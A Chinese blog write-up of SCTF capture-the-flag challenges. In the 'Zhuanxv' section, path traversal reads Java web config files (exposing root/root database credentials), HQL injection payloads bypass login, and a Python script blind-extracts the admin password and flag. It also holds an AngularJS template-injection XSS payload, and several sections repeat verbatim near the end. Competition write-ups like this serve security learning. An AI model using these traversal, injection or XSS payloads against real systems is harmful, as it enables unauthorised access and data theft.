临近期末学长都不做题了=。=自己太菜不会做
绝望,开心的是我做了一道re。。
SCTF
web
Zhuanxv
上来啥东西都没有,先扫为敬
会发现有一个/list的目录跳转到了
这里有密码登陆,一看觉得是sql注入
查看源代码会发现有一个导入的地方
因为是javaweb所以可以通过这个来读取javaweb的文件
首先是121.196.195.244:9032/loadimage?fileName=../../WEB-INF/web.xml
再读取../../WEB-INF/classes/applicationContext.xml下的文件
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName">
<value>com.mysql.jdbc.Driver</value>
</property>
<property name="url">
<value>jdbc:mysql://localhost:3306/sctf</value>
</property>
<property name="username" value="root"/>
<property name="password" value="root" />
</bean>
<bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
<property name="dataSource">
<ref bean="dataSource"/>
</property>
<property name="mappingLocations">
<value>user.hbm.xml</value>
</property>
<property name="hibernateProperties">
<props>
<prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
<prop key="hibernate.show_sql">true</prop>
</props>
</property>
</bean>
<bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
<property name="transactionManager">
<ref bean="transactionManager"/>
</property>
<property name="transactionAttributes">
<props>
<prop key="add">PROPAGATION_REQUIRED</prop>
<prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
</props>
</property>
</bean>
<bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
<property name="hibernateTemplate">
<ref bean="hibernateTemplate"/>
</property>
</bean>
<bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
<property name="userDao">
<ref bean="userDAO"/>
</property>
</bean>
</beans>
可以看到有一个user.hbm.xml
下载下来
然后把所有的class下载下来
com.cuitctf.service.impl.UserServiceImpl 对应于
../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl这样下载下来
拖下来所有的源码之后用 jd-gui就可以看源码了
可以看到匹配的规则了,然后name没有任何过滤
但是我做题的时候发现怎么都注入不出来
看到hibernate这是这个框架来执行sql语句
user.name=1'or''like''or''like'&user.password=aaaa
这样就可以直接登录了框架语句不是很理解学习一番=。=
但是
user.name=1'or(name)like'ho%25'or''like'&user.password=aaaa
可以把账号注出来用hql 语句的子查询来查询flag
user.name=1'or('from''Flag')like'sctf{%25'or''like'&user.password=aaaa
又卡在还有特殊字符上了,最后的
怎么注入都注入不出来
出来的是
只能去注密码了再根据密码把flag注出来
aaa'%0aor%0a(select%0asubstring(password,1,1)%0afrom%0aUser%0awhere%0aname%0alike%0a'homamamama')%0alike%0a'a'%0aor%0a''like'
aa'%0aor%0a(select%0asubstring(welcometoourctf,1,1)%0afrom%0aFlag)%0alike%0a'a'%0aand%0a''like'
脚本
import requests
url = "http://ip/zhuanxvlogin"
# url = "http://localhost:9090/zhuanxvlogin"
def first():
admin_password = ""
for i in range(1,9):
for n in range(30,140):
guess = chr(n)
if guess == "_" or guess == "%":
continue
username = "aaa'\nor\n(select\nsubstring(password,"+str(i)+",1)\nfrom\nUser\nwhere\nname\nlike\n'homamamama')\nlike\n'"+guess+"'\nor\n''like'"
data = {"user.name": username, "user.password": "a"}
req = requests.post(url, data=data, timeout=1000).text
if len(req)>5000:
admin_password = admin_password + guess
print "admin password: "+ admin_password
break
return admin_password
def second(admin_password):
flag = ""
for i in range(1,50):
for n in range(30,140):
guess = chr(n)
if guess == "_" or guess == "%":
continue
username = "aa'\nor\n(select\nsubstring(welcometoourctf,"+str(i)+",1)\nfrom\nFlag)\nlike\n'"+guess+"'\nand\n''like'"
data = {"user.name": username, "user.password": admin_password}
req = requests.post(url, data=data, timeout=1000).text
if len(req)>5000:
flag = flag + guess
print "flag:" + flag
break
admin_password = first()
second(admin_password)
新的建议板
这道题没怎么看,我做的时候他们已经打到cookie啥的了
再做一遍学习一下xhr
注册登录之后发现一个留言板,肯定是XSS咯
可以看到他用了AngularJS这个框架就用模板注入
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
弹窗了,思路没错,就是模板注入
不过他有一定量的过滤就是会将document 变成 docu ment
re
Script In Script
web狗也可以做逆向了!
第一份代码是混淆=。=
解完之后那份才是真正的代码
misc
侧信道攻击
key=1的时候执行了add操作,消耗能量比key=0的时候多,含图中部分是1,不含为0,(手机排版捉急),
然后就是看图说话了,SCTF{0110111010}
神秘的交易
看图说话2
搜索4442卡,密钥三位,
有资料按资料学习
Modbus
flag就在流量包中慢慢翻就好了
Zhuanxv
这道题上来啥都没有扫一下站
re
Script In Script
web狗也可以做逆向了
misc
侧信道攻击
key=1的时候执行了add操作,消耗能量比key=0的时候多,含图中部分是1,不含为0,(手机排版捉急),
然后就是看图说话了,SCTF{0110111010}
神秘的交易
看图说话2
搜索4442卡,密钥三位,
有资料按资料学习
Modbus
flag就在流量包中慢慢翻就好了
期末了=。=过几天再说。